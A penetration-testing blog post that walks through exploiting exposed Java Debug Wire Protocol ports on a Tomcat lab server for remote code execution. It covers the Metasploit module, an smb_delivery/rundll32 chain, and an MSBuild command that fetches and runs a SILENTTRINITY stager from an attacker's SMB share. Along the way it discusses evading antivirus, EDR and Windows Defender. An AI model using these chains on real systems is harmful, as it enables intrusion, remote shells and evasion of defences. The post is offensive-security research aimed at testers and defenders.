Exploring the Exploitation of the Java Debug Wire Protocol

Exploitation of the Java Debug Wire Protocol

Since 2014 several articles have appeared, specifically Christophe Alladoum’s excellent post for the IOActive blog [1], focused on the structure and exploitation of the Java Debug Wire Protocol. In this post, we would like to review the current literature on the subject, walk through the construction of a lab environment in which one can explore this protocol and share some methods that we have been using to gain access to target machines through JDWP exploitation.  

The Java Debug Wire Protocol (JDWP) is a communication protocol that exists to connect the Java VM Tool Interface to a debugger console, whether that console is local or remote. In many, if not most, Java applications that one will come across during a pentest this interface has not been enabled (it is disabled by default), or the debugging is occurring locally, and the interface is not exposed to the outside. 

The general architecture of a deployment with the JDWP enabled will look like the following:

Official documentation on the protocol can also be found below:

The protocol itself is based in a specification document released by Oracle, and determine that after an initial handshake which initiates the connection, the communications between the debugger and the debuggee (the Java VM itself) occur through the exchange of command packets (sent by the debugger) and reply packets (sent by the debuggee).  The command packets can instruct the Java VM to carry out specific actions, including calling methods within the VM.

This is where things get interesting… Due to the ability to craft packets that allow for interaction with the Java VM, it becomes possible to cause the Java VM to load arbitrary Java classes into memory and leverage these to achieve remote code execution.  If there are JDWP ports open, and this is most commonly found on an internal network, nmap will identify the protocol in the following way (sometimes with the Reference Implementation designation; this will have no impact on our exploitation chain):

A full explanation of this process, and the five steps necessary for exploitation, can be found on the IOActive post referenced above, and tooling for exploiting this vulnerability resides both in Metasploit (which we will discuss a bit below) and through the jdwp-shellifier.py script released by IOActive [2], which will end up playing a central role in the exploitation pathways laid out in this post.

Lab Setup

To gain an understanding of the JDWP and how exploitation functions we constructed a simple lab environment, based on Windows Server 2012 R2 and a copy of Tomcat, slightly modified to launch with the JDWP enabled.

The first step is to gain access to a copy of Windows Server 2012 R2. If one does not already have access to a live environment or a licensed image, it is possible to get access to a full Windows Server ISO file directly from Microsoft at the following link: Windows Server

The scope of this post will not be covering the installation of Windows Server from an ISO file. For a quick walkthrough of this process for installation in VirtualBox please the following link: VirtualBox

Once Windows Server is installed, start the machine, log in, and begin the process of downloading and installing the necessary software. The first piece of software necessary is the Java JDK itself, which can be downloaded from the following link: Java Download

After the Java JDK is installed it is necessary to download and install Tomcat from the following link: Apache Tomcat
-> Download the version titled ‘32-bit/64-bit Windows Service Installer’, which includes the full graphical installer for Tomcat and all necessary software components.

Once Tomcat is installed it is necessary to manually enable the JDWP. There are numerous methods outlined online, and many of them are out of date. The cleanest, easiest method we have found here at RedTeam Security is to utilize the Tomcat Configuration application to modify the launch configuration.

To access the Tomcat Configuration application first open the Windows Start Menu and find the application.

Configure Tomcat

When the application opens click on the Java tab and enter the following into the Java Options field:

  • Xdebug
  • Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=n

This instructs Tomcat to launch in debug mode, with JDWP being utilized for communications between the Tomcat instance and the debugger on port 8000.

The configuration should look like the following:

Apache Tomcat 7.0 Tomcat7 Properties

After setting the configuration, go back to the General tab and click Start (if Tomcat has already started, please click Stop and then Start).

Tomcat Configuration

For more information on this method please refer to the following: Running Apache Tomcat as a Windows

With this lab environment setup, there are a couple of important points to emphasize. Firstly, it will likely be necessary to disable the Windows Firewall, to allow for the connection from external machines; this would be standard in a remotely debugged instance of Tomcat. Secondly, only run this either as on a Host-Only or internal network, do not expose this to the internet; it is vulnerable to attack.

Exploit Process and Proof of Concept

Past literature on JDWP exploitation has largely stopped at the point of explaining what is possible with an attack on this protocol and may include a simple proof of concept. After this initial research, a Metasploit module was also developed to exploit exposed JDWP ports. However, given the predictability of Metasploit based modules, and the tendency of Metasploit payloads to trigger alerts and get quarantined by AV and EDR solutions, this is not the most opsec safe method imaginable.

Due to the weakness of the approaches that have been outlined in the current body of literature and the limitations of the tooling that exists around the exploitation of JDWP I began a process of playing around with a variety of methods, many of which are cobbled together from other attack chains, to figure out a process through which this vulnerability can be exploited, while remaining opsec safe, or at least more so.

The goal of these methods is to take a vulnerability that can lead to code execution on the target, one command at a time, and turn it into a method through which, with minimal setup and infrastructure, an attack can be carried out that will yield persistent access to the target host. Preference during this research was given to methods that are already commonly used, and which leverage widely used command and control tooling to yield controllable, indexable command shells returning to the attacker. But, before we get to the more robust forms of exploitation, it is important first to demonstrate more mundane forms of exploitation and discuss some of the shortcomings of these methods first.

Using jdwp-shellifier.py as an Initial Vector

All of the exploitation chains described in this post, with the exception of the use of the Metasploit module, will involve the use of jdwp-shellifier.py, and all of the examples below will assume that the service has been clearly identified using nmap, or some other asset discovery tool.

Just for reference, the JDWP service will likely appear on port 8000; this is a standard in the configuration guides, and in experiences with the protocol from actual engagements, this is almost always what has been seen. To find the protocol, and to allow nmap to accurately identify the protocol, the nmap command that is being run in this context is something like the following:

nmap -sS -sV -A -O —script discovery -vv [ip]

In this command we will be leveraging SYN scanning to identify the ports that are exposed on the host (port 8000 is included in the default ports scanned by nmap), with the Service scanning being used to identify the type of service. When run alone SYN and Service scanning have difficulty identifying JDWP services on the network, and often misidentify the service as Java RMI or something similar. The inclusion of the discovery NSE script set remedies this issue, by running tests specific to identifying this protocol on the host.

As shown above results will often look like the following:

Exploitation-chain

Once identified on the network it makes sense to attempt to, regardless of the ultimate method chosen for exploitation, test the vulnerability of the service through the use of the jdwp-shellifier.py script. The jdwp-shellifier.py script calls arbitrary Java classes in the Java VM on the target machine; by default this class is java.net.ServerSocket.accept. To trigger the attack that class needs to be called. If the default class is used the class can be called simply by loading a Tomcat administration panel in a browser, generating a request which is then handled by the Java class called by the script, triggering action on the Java VM and executing the command. If using another class, and there are reasons to attempt this, the class can often be called by running the same nmap scan identified above on the target port; the NSE scripts used for scanning the service call a number of arbitrary classes, triggering the attack.

When the script is run the output will look like the following:

Script output

As can be seen in the image above, the success of the attack is indicated in the script output, but, as in the case above, if a command is run which generates command line output, that output will not be sent back to the attacker. As such, methods need to be developed to bypass the headless nature of the exploitation of JDWP using the generate an interactive session on the machine.

Method #1: Using the Metasploit Module

Before diving into more advanced forms of exploitation it makes sense to cover the already prebuilt attack chains, primarily the module released for the Metasploit Framework. The module resides at exploit/multi/misc/java_jdwp_debugger. The module defaults are set to target Linux systems, which need to be modified for the scenario that we constructed in the lab setup outlined above.

When modified the options will look like the following:

jdwp_debugger

When launched, as one can see in the below image, sometimes the module will indicate failure, when in fact the exploit has been successful. Further, as with other Metasploit modules, the technical details of vulnerability and exploitation are often obtuse, not only making explanations to the client difficult but also making debugging failures nearly impossible. The indication of failure in this attempt is due to the failure to open a new listener on port 4444, due to an active listener being present. But, due to utilizing the same payload as the original listener, the exploitation was successful.

exploitation was successful

Even though a failure is indicated by the output from the module, an experience we have run into at RedTeam Security a few times in testing, the session has been created, as can be seen below (session 2).

failure is indicated

As with the use of any Metasploit module, the details of the vulnerability and the technical elements of exploitation are obscured from most users, unless one takes the time to do outside reading and look into the module source code. This obtuseness can create issues during an engagement, where there is often not a lot of time to build an understanding of exploitation chains, and where understanding why exploitation attempts fail is critical to success.

Further, the Metasploit module functions through the writing of an executable to disk, which opens the door for AV and EDR solutions to catch and quarantine the payload, often generating alerts that could, if we are dealing with attentive client IT staff, lead to getting caught, as well as the failure of the attack. This is particularly relevant when attempting to bypass Windows Defender, which has improved to the point where Metasploit payloads, and specifically Meterpreter payloads, are often caught; a risk that is greatly heightened when writing payloads to disk, as opposed to running in memory.

As with a number of attacks that used to be reliable using approaches that write files to disk, the approach here also needs to evolve to utilize dynamically loaded in memory forms of exploitation using already existing Windows binaries. It is with this in mind that the following two approaches have been crafted.

Method #2: SMB_Delivery and rundll32.exe

If the use of the Metasploit module is a bit too loud, or potentially too loud, or too obtuse to debug failures, a concurrent approach that has led to some success has been to utilize the exploit/windows/smb/smb_delivery module to construct the payload and infrastructure for the attack. Using this method, combined with leveraging rundll32.exe on the target machine, it is possible to construct an attack which dynamically loads a DLL into memory from a remote machine and executes it using a signed Windows binary, leading to a session on the target machine.

The first step in this attack chain is to set up the infrastructure, which in this case is as simple as loading the smb_delivery module, configuring the options and launching it, resulting in Metasploit providing a simple one-liner that leverages rundll32.exe for fetching the DLL, loading it into memory and executing it.

Metasploit

Once the smb_delivery module launches an SMB service is opened up on the attacking machine hosting the file generated by Metasploit in the launching process. We can then utilize the jdwp-shellifier.py script to execute the rundll32.exe command generated by the module on the target machine.

jdwp-shellifier

Upon successfully triggering the command in the arbitrarily loaded Java class the command will execute. Upon execution the target machine will reach out to the attacking machine’s temporary SMB service, fetch the identified DLL, load the DLL into memory and execute the code, resulting in a reverse shell back to the attacking machine (session 1 in the image below).

Reverse shell

Though this method has been successful in lab conditions, the use of Metasploit based payloads, in general, causes some concerns on the level of opsec, especially in adversary simulation type engagements. As AV and EDR solutions become more adept at identifying in memory exploitation, and with improvements in Windows Defender, the use of Metasploit based payload, particularly Meterpreter, are becoming less and less reliable on target hosts. In an attempt to address these concerns the research here turned toward the use of contemporary C# tradecraft, and the use of dynamic compilation in memory payloads that have a solid track record of bypassing AV and EDR; namely the use of MSBuild to fetch remote XML files, compile payload dynamically in memory and perform in-memory execution.

Method #3: SILENTTRINITY, smbserver.py, jdwp-shellifier and MSBuild FTW!

Before launching into this attack chain, it is important to give a big shout-out to byt3bl33der and the others that are currently working on SILENTTRINITY. If you have not had a chance to take a look, SILENTTRINITY is a multiuser command and control framework which utilizes the concept of Bring-Your-Own-Interpreter to embed a small interpreter for the Boolang language (an obscure third-party .NET language) directly into the payload itself. Testing that we have performed internally has shown SILENTTRINITY payloads to be both highly effective in bypassing various AV and EDR systems, as well as common configurations of Windows Defender, particularly when using the MSBuild based process that will be outlined below.

For a bit of background, MSBuild is an open source, Microsoft developed, build tool which automates the compilation and build process for code within the .NET family. It is capable of building code that exists on the system itself, but, and this is important for our purposes here, it can also reach out to grab code bases from remote servers over the SMB protocol, load this remote code into memory, build the program in memory and execute it in one command. The tack begins with the setting up of the infrastructure to serve the payload and capture the resulting shell. For this overview, we will not be providing a tutorial on how to standup SILENTTRINITY, several solid guides have already been written. We recommend Dark Sidious’s guide to SILENTTRINITY. Our walkthrough here will begin with the configuration of the second piece of infrastructure, the SMB server that will serve the payload. For this purpose, one could stand up a full SMB server, if one is not already part of one’s command and control infrastructure, but to keep things simple here we will be using the smbserver.py script from Impacket. For this setup, we will be utilizing an SMB configuration which allows for null sessions and SMBv2 connections.

In the command above we first call the script, which in this specific scenario requires sudo privileges to open port 445 for external connections, and set the name of the share, which is SMB. Then we identify the directory that we will be serving through the SMB service, which is the directory that houses our payload, set the server so that it will support SMBv2 connections and set the IP for the attacking machine. 

The next step in the process is to construct the MSBuild command that will need to be run on the target machine. This command has a number of elements, including the full directory listing for the MSBuild executable, the IP address of the attacking machine, the name of the SMB share that was configured and the name of the payload.

When assembled the command, in this context, is the following:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe \\197.168.2.197\SMB\stager.xml

To execute the command we will be using jdwp-shellifier.py to start the command execution process, and will reload the Tomcat webUI to trigger the action (the class being called by the debugger is java.net.ServerSocket.accept, which is called when there is a web request to the server).

As we can see below, the command executed, as expected.

ServerSocket.accept

This resulted in a successful connection to the SMB server that was set up to serve the payload, as can be seen below:

successful connection to the SMB server

If the command is successful the target machine will fetch the XML file from the attacking machine, load it into memory, and then use MSBuild to compile and execute the stager, which will call the full payload from the SILENTTRINITY command and control server, load that into memory and execute it, spawning a reverse command session back to the SILENTTRINITY C2. 

This method carries with it a series of advantages over other methods outlined in this, and other pieces. Firstly, by focusing on using manual tools for exploitation it is possible to gain a clear insight into the process and any errors that could occur, allowing us to both understand the vulnerability with more detail, but also to debug problems with the process if any arise. Secondly, the use of the MSBuild based process has, so far, been effective in bypassing many of the AV and EDR solutions that have been found on engagements, as well as working to bypass many configurations of Windows Defender. Like any other form of tradecraft, the likelihood that approaches will be developed to alert on this specific process is highly likely, and like anything else, to remain ahead of defenders it is necessary to be constantly evolving on the level of tradecraft and opsec.

Conclusion

These methods are only some of the plethora of possible approaches that could be used to attack exposed JDWP services during internal tests and adversary simulation type engagements. For as unlikely as it would seem, given how extremely vulnerable this service is, one is likely to come across this during an engagement at some point, especially if we start looking for it. 

As the methods that we use for red teaming evolve so will the exploitation chains. The hope here is that we can provide enough of an insight into the mechanics of the exploitation process, beyond the initial proof of concept, to allow for continued research into the exploitation of the JDWP, and to provide information to defenders about the vulnerability of this protocol and what methods to keep an eye out for.


Written by: Thomas Pierigastini 

References:
[1] https://ioactive.com/hacking-java-debug-wire-protocol-or-how/
[2] https://github.com/IOActive/jdwp-shellifier

Other Resources